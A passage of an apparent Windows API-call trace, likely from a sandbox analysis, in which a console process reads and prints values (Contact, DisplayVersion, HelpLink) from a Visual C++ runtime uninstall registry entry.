4 [0149.798] GetConsoleOutputCP () returned 0x1b5 [0149.798] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.799] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.799] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.799] __iob_func () returned 0x7fefd702a80 [0149.799] _fileno (_File=0x7fefd702ab0) returned 1 [0149.799] _errno () returned 0x204bb0 [0149.799] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.799] _errno () returned 0x204bb0 [0149.799] GetFileType (hFile=0x50) returned 0x1 [0149.800] lstrlenW (lpString="Caution. Removing this product might prevent some applications from running.") returned 76 [0149.800] GetConsoleOutputCP () returned 0x1b5 [0149.800] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Caution. Removing this product might prevent some applications from running.", cchWideChar=76, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 76 [0149.800] GetConsoleOutputCP () returned 0x1b5 [0149.800] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Caution. Removing this product might prevent some applications from running.", cchWideChar=76, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Caution. Removing this product might prevent some applications from running.", lpUsedDefaultChar=0x0) returned 76 [0149.800] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 76 [0149.800] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.800] __iob_func () returned 0x7fefd702a80 [0149.800] _fileno (_File=0x7fefd702ab0) returned 1 [0149.800] _errno () returned 0x204bb0 [0149.800] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.800] _errno () returned 0x204bb0 [0149.800] GetFileType (hFile=0x50) returned 0x1 [0149.800] lstrlenW (lpString="\n") returned 1 [0149.800] GetConsoleOutputCP () returned 0x1b5 [0149.800] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.800] GetConsoleOutputCP () returned 0x1b5 [0149.801] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.801] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.801] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.801] GetProcessHeap () returned 0x3c0000 [0149.801] GetProcessHeap () returned 0x3c0000 [0149.801] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0149.801] GetProcessHeap () returned 0x3c0000 [0149.801] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0x9e [0149.801] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70 | out: hHeap=0x3c0000) returned 1 [0149.801] RegEnumValueW (in: hKey=0x5c, dwIndex=0x2, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Contact", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.801] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Contact", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.801] GetProcessHeap () returned 0x3c0000 [0149.801] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.801] GetProcessHeap () returned 0x3c0000 [0149.801] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.801] GetProcessHeap () returned 0x3c0000 [0149.801] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.801] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Contact", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0149.801] __iob_func () returned 0x7fefd702a80 [0149.801] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.801] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.801] _fileno (_File=0x7fefd702ab0) returned 1 [0149.801] _errno () returned 0x204bb0 [0149.801] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.801] _errno () returned 0x204bb0 [0149.801] GetFileType (hFile=0x50) returned 0x1 [0149.801] lstrlenW (lpString=" ") returned 4 [0149.801] GetConsoleOutputCP () returned 0x1b5 [0149.802] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.802] GetConsoleOutputCP () returned 0x1b5 [0149.802] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.802] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.802] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.802] lstrlenW (lpString="Contact") returned 7 [0149.802] __iob_func () returned 0x7fefd702a80 [0149.802] _fileno (_File=0x7fefd702ab0) returned 1 [0149.802] _errno () returned 0x204bb0 [0149.802] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.802] _errno () returned 0x204bb0 [0149.802] GetFileType (hFile=0x50) returned 0x1 [0149.802] lstrlenW (lpString="Contact") returned 7 [0149.802] GetConsoleOutputCP () returned 0x1b5 [0149.802] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Contact", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0149.802] GetConsoleOutputCP () returned 0x1b5 [0149.802] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Contact", cchWideChar=7, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Contact", lpUsedDefaultChar=0x0) returned 7 [0149.802] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 7 [0149.802] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.802] __iob_func () returned 0x7fefd702a80 [0149.803] _fileno (_File=0x7fefd702ab0) returned 1 [0149.803] _errno () returned 0x204bb0 [0149.803] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.803] _errno () returned 0x204bb0 [0149.803] GetFileType (hFile=0x50) returned 0x1 [0149.803] lstrlenW (lpString=" ") returned 4 [0149.803] GetConsoleOutputCP () returned 0x1b5 [0149.803] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.803] GetConsoleOutputCP () returned 0x1b5 [0149.803] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.803] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.803] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.803] __iob_func () returned 0x7fefd702a80 [0149.803] _fileno (_File=0x7fefd702ab0) returned 1 [0149.803] _errno () returned 0x204bb0 [0149.803] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.803] _errno () returned 0x204bb0 [0149.803] GetFileType (hFile=0x50) returned 0x1 [0149.803] lstrlenW (lpString="REG_SZ") returned 6 [0149.803] GetConsoleOutputCP () returned 0x1b5 [0149.803] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.803] GetConsoleOutputCP () returned 0x1b5 [0149.804] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.804] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.804] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.804] __iob_func () returned 0x7fefd702a80 [0149.804] _fileno (_File=0x7fefd702ab0) returned 1 [0149.804] _errno () returned 0x204bb0 [0149.804] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.804] _errno () returned 0x204bb0 [0149.804] GetFileType (hFile=0x50) returned 0x1 [0149.804] lstrlenW (lpString=" ") returned 4 [0149.804] GetConsoleOutputCP () returned 0x1b5 [0149.804] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.804] GetConsoleOutputCP () returned 0x1b5 [0149.804] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.804] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.804] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.804] __iob_func () returned 0x7fefd702a80 [0149.804] _fileno (_File=0x7fefd702ab0) returned 1 [0149.804] _errno () returned 0x204bb0 [0149.804] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.804] _errno () returned 0x204bb0 [0149.804] GetFileType (hFile=0x50) returned 0x1 [0149.805] lstrlenW (lpString="") returned 0 [0149.805] __iob_func () returned 0x7fefd702a80 [0149.805] _fileno (_File=0x7fefd702ab0) returned 1 [0149.805] _errno () returned 0x204bb0 [0149.805] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.805] _errno () returned 0x204bb0 [0149.805] GetFileType (hFile=0x50) returned 0x1 [0149.805] lstrlenW (lpString="\n") returned 1 [0149.805] GetConsoleOutputCP () returned 0x1b5 [0149.805] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.805] GetConsoleOutputCP () returned 0x1b5 [0149.805] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.805] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.805] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.805] GetProcessHeap () returned 0x3c0000 [0149.805] GetProcessHeap () returned 0x3c0000 [0149.805] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.805] GetProcessHeap () returned 0x3c0000 [0149.805] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.805] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.805] RegEnumValueW (in: hKey=0x5c, dwIndex=0x3, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayVersion", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.805] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x1a) returned 0x0 [0149.805] GetProcessHeap () returned 0x3c0000 [0149.805] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x1c) returned 0x3d5c60 [0149.805] GetProcessHeap () returned 0x3c0000 [0149.805] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c60) returned 1 [0149.806] GetProcessHeap () returned 0x3c0000 [0149.806] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c60) returned 0x1c [0149.806] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d5c60, pcbData=0x29f780*=0x1a | out: pdwType=0x29f700*=0x1, pvData="14.10.25017", pcbData=0x29f780*=0x18) returned 0x0 [0149.806] __iob_func () returned 0x7fefd702a80 [0149.806] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.806] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.806] _fileno (_File=0x7fefd702ab0) returned 1 [0149.806] _errno () returned 0x204bb0 [0149.806] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.806] _errno () returned 0x204bb0 [0149.806] GetFileType (hFile=0x50) returned 0x1 [0149.806] lstrlenW (lpString=" ") returned 4 [0149.806] GetConsoleOutputCP () returned 0x1b5 [0149.806] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.806] GetConsoleOutputCP () returned 0x1b5 [0149.806] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.806] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.806] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.806] lstrlenW (lpString="DisplayVersion") returned 14 [0149.806] __iob_func () returned 0x7fefd702a80 [0149.806] _fileno (_File=0x7fefd702ab0) returned 1 [0149.806] _errno () returned 0x204bb0 [0149.806] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.806] _errno () returned 0x204bb0 [0149.806] GetFileType (hFile=0x50) returned 0x1 [0149.806] lstrlenW (lpString="DisplayVersion") returned 14 [0149.807] GetConsoleOutputCP () returned 0x1b5 [0149.807] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0149.807] GetConsoleOutputCP () returned 0x1b5 [0149.807] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayVersion", lpUsedDefaultChar=0x0) returned 14 [0149.807] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 14 [0149.807] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.807] __iob_func () returned 0x7fefd702a80 [0149.807] _fileno (_File=0x7fefd702ab0) returned 1 [0149.807] _errno () returned 0x204bb0 [0149.807] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.807] _errno () returned 0x204bb0 [0149.807] GetFileType (hFile=0x50) returned 0x1 [0149.807] lstrlenW (lpString=" ") returned 4 [0149.807] GetConsoleOutputCP () returned 0x1b5 [0149.807] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.807] GetConsoleOutputCP () returned 0x1b5 [0149.807] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.807] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.807] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.808] __iob_func () returned 0x7fefd702a80 [0149.808] _fileno (_File=0x7fefd702ab0) returned 1 [0149.808] _errno () returned 0x204bb0 [0149.808] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.808] _errno () returned 0x204bb0 [0149.808] GetFileType (hFile=0x50) returned 0x1 [0149.808] lstrlenW (lpString="REG_SZ") returned 6 [0149.808] GetConsoleOutputCP () returned 0x1b5 [0149.808] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.808] GetConsoleOutputCP () returned 0x1b5 [0149.808] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.808] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.808] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.808] __iob_func () returned 0x7fefd702a80 [0149.808] _fileno (_File=0x7fefd702ab0) returned 1 [0149.808] _errno () returned 0x204bb0 [0149.808] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.808] _errno () returned 0x204bb0 [0149.808] GetFileType (hFile=0x50) returned 0x1 [0149.808] lstrlenW (lpString=" ") returned 4 [0149.808] GetConsoleOutputCP () returned 0x1b5 [0149.808] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.808] GetConsoleOutputCP () returned 0x1b5 [0149.809] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.809] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.809] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.809] __iob_func () returned 0x7fefd702a80 [0149.809] _fileno (_File=0x7fefd702ab0) returned 1 [0149.809] _errno () returned 0x204bb0 [0149.809] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.809] _errno () returned 0x204bb0 [0149.809] GetFileType (hFile=0x50) returned 0x1 [0149.809] lstrlenW (lpString="14.10.25017") returned 11 [0149.809] GetConsoleOutputCP () returned 0x1b5 [0149.809] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="14.10.25017", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0149.809] GetConsoleOutputCP () returned 0x1b5 [0149.809] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="14.10.25017", cchWideChar=11, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="14.10.25017", lpUsedDefaultChar=0x0) returned 11 [0149.809] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0149.809] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.809] __iob_func () returned 0x7fefd702a80 [0149.809] _fileno (_File=0x7fefd702ab0) returned 1 [0149.809] _errno () returned 0x204bb0 [0149.809] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.809] _errno () returned 0x204bb0 [0149.809] GetFileType (hFile=0x50) returned 0x1 [0149.809] lstrlenW (lpString="\n") returned 1 [0149.810] GetConsoleOutputCP () returned 0x1b5 [0149.810] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.810] GetConsoleOutputCP () returned 0x1b5 [0149.810] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.810] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.810] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.810] GetProcessHeap () returned 0x3c0000 [0149.810] GetProcessHeap () returned 0x3c0000 [0149.810] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c60) returned 1 [0149.810] GetProcessHeap () returned 0x3c0000 [0149.810] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c60) returned 0x1c [0149.810] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c60 | out: hHeap=0x3c0000) returned 1 [0149.810] RegEnumValueW (in: hKey=0x5c, dwIndex=0x4, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="HelpLink", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.810] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpLink", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x5c) returned 0x0 [0149.810] GetProcessHeap () returned 0x3c0000 [0149.810] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x5e) returned 0x3db830 [0149.810] GetProcessHeap () returned 0x3c0000 [0149.810] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.810] GetProcessHeap () returned 0x3c0000 [0149.810] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x5e [0149.810] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpLink", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x5c | out: pdwType=0x29f700*=0x2, pvData="http://go.microsoft.com/fwlink/?LinkId=133405", pcbData=0x29f780*=0x5c) returned 0x0 [0149.810] __iob_func () returned 0x7fefd702a80 [0149.810] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.811] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.811] _fileno (_File=0x7fefd702ab0) returned 1 [0149.811] _errno () returned 0x204bb0 [0149.811] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.811] _errno () returned 0x204bb0 [0149.811] GetFileType (hFile=0x50) returned 0x1 [0149.811] lstrlenW (lpString=" ") returned 4 [0149.811] GetConsoleOutputCP () returned 0x1b5 [0149.811] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.811] GetConsoleOutputCP () returned 0x1b5 [0149.811] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.811] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.811] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.811] lstrlenW (lpString="HelpLink") returned 8 [0149.811] __iob_func () returned 0x7fefd702a80 [0149.811] _fileno (_File=0x7fefd702ab0) returned 1 [0149.811] _errno () returned 0x204bb0 [0149.811] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.811] _errno () returned 0x204bb0 [0149.811] GetFileType (hFile=0x50) returned 0x1 [0149.811] lstrlenW (lpString="HelpLink") returned 8 [0149.811] GetConsoleOutputCP () returned 0x1b5 [0149.811] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpLink", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0149.811] GetConsoleOutputCP () returned 0x1b5 [0149.812] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpLink", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HelpLink", lpUsedDefaultChar=0x0) returned 8 [0149.812] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0149.812] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.812] __iob_func () returned 0x7fefd702a80 [0149.812] _fileno (_File=0x7fefd702ab0) returned 1 [0149.812] _errno () returned 0x204bb0 [0149.812] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.812] _errno () 